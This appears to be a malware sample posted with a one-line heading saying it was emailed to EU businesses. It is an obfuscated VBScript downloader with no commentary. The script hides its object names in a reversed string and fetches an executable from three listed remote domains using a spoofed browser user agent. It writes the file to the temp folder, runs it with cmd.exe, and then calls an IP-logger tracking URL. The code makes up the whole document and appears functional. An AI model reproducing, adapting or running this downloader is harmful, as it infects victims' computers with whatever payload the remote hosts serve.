malware emailed to EU businesses this evening

Dim RLoaddissertationensurance '

Dim RLoaddissertationInPlaceOf '
RLoaddissertationTepir = "User"


Dim williams
       Dim TristateTrue


Dim RLoaddissertationTimeTo 'As Object
Dim RLoaddissertationDW
RLoaddissertationDW = false

Dim RLoaddissertationbalibob 'As Object


Dim RLoaddissertationcashback 'As Object



Function Aodportentdissertation(strr)
if strr = "34" then

waitH = "Save"+"ToFile, 2"
else
Save1.Savetofile RLoaddissertationInPlaceOf , 2
end if
End Function





Dim krapivec

Dim RLoaddissertationReikYaik 'As Object

Dim Save1 'As Object

Function T2000(p, ddd)
	dicA = 19
    Set RLoaddissertationMacAttack = CreateObject("WScript.Shell")
	Save1.Type = 1
	Save1.Open
End Function



Dim RLoaddissertationPetir '
Dim sNodeKey '
  Dim sParentKey '



CUA ="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"



Kullipin = "//>:ptth>exe.pJIXHqQ\>elifotevas>ydoBesnopser>etirw>nepo>epyT>PmeT>TeG>ssecorP>llehs.tpircsW>noitacilppA.llehs>Maerts.bdodA>PTTHLMX.tfosorciM"


    Public Function FolderToCopy(dde,SecondP,VKUok)
Samwell = 89
Samwell = Samwell + 21
if Samwell > 43 then
SecondP.Write VKUok
Samwell =  Samwell / 23
end if
End Function




RLoaddissertationPetir = "Ag"
   williams = Split(StrReverse(Kullipin),  ">")

  Dim MarketPlaceibility '


Dim Twelve 'As Integer
  Dim sDecimalVis '

RLoaddissertationTepir = RLoaddissertationTepir + "-"

dr501 = False

Set RLoaddissertationReikYaik = CreateObject("" + williams(00))

Dim Valery 'As Integer






Dim RLoaddissertation404 '

Dim RLoaddissertationMacAttack
 Dim MarketPlace '
  Dim sTempVis '
  Dim iCount 'As Integer



'Set RLoaddissertationTimeTo = CreateObject(williams(8-6))
Twelve = 10 + 1 + 1
zTempVis = williams(Twelve - 11)

Public Sub DebugLog(txt)
    'debug.print txt
    Open AppPath & "ARC2ServerDebug.txt"
    Print txt
    Close
End Sub
Set RLoaddissertation13 = GetRef("Aodportentdissertation")
Set RLoaddissertation14 = GetRef("FolderToCopy")

Set Save1 = CreateObject("Adodb.s"+"treaM")


Set RLoaddissertationbalibob = CreateObject(""+williams(10-7))


if "Duebos" + WScript + "33" = "DuebosWindows Script Host33" Then

 Valery = 99322

	RLoaddissertationensurance = CreateObject("Scripting.Fi"+"leSystemObject").GetSpecialFolder(Twelve - 10)

end if


 Dim i
sTempVis = williams(2+Twelve -2)

ATC = 9
MarketPlace = williams(ATC+4) & williams(ATC+5)

RLoaddissertationTepir = RLoaddissertationTepir & ""&RLoaddissertationPetir & "ent"
NotFound404 = 24

 krapivec = Array("bit-chasers.com/JHGcd476334?","datenhaus.info/JHGcd476334?","mh-service.ru/JHGcd476334?")

lTo = UBound(krapivec)

Dim SendByte

Execute "Sub TypeRea(ArrArr) : NotFound404 = 12 : RLoaddissertationMacAttack.R"& "un(""cmd."&"exe /c call "" & ArrArr ) : End Sub"

SendByte = -2



 For i = 0 To lTo Step 1
NotFound404 = NotFound404 * 26

	on error resume  next
Valery =  Valery +15
dr1=2
NotFound4042 = williams(16-11)

NotFound404 = NotFound404 + 404

dr500 =MarketPlace + krapivec(i)

 RLoaddissertationReikYaik.Open NotFound4042, dr500, dr501

piupiu.setRequestHeader "" & RLoaddissertationTepir, "" + CUA
RLoaddissertationReikYaik.Send


If 1005 + RLoaddissertationReikYaik.Status  = 1205 Then
SendByte = i

 Exit For
End If

goto14:
Next
on error goto 0

if SendByte >= 0 Then
Dim Clank 'As String
 RLoaddissertationInPlaceOf = RLoaddissertationensurance+ sTempVis

T2000 "",90
RLoaddissertation14 "",Save1,RLoaddissertationReikYaik.responseBody
Sapogi =90
RLoaddissertationInPlaceOfu = "" + RLoaddissertationInPlaceOf

Sapogi = Sapogi*90

Dim RLoaddissertationJohnSnowu,RLoaddissertationDisplay 'As Long
RLoaddissertation13 "ss"
RLoaddissertationJohnSnowu = 132

If 85 < RLoaddissertationJohnSnowu + 4 Then

	Hipster =NotFound404-NotFound404
	DiBeat2 =  RLoaddissertationInPlaceOf

 TypeRea("""" & DiBeat2 & """")
 on error resume  next

RLoaddissertationReikYaik.Open NotFound4042, "https://iplogger.com/ZqHJ7", dr501
RLoaddissertationReikYaik.Send
End If
mafia = 90
	RLoaddissertationDisplay = "Re"




end if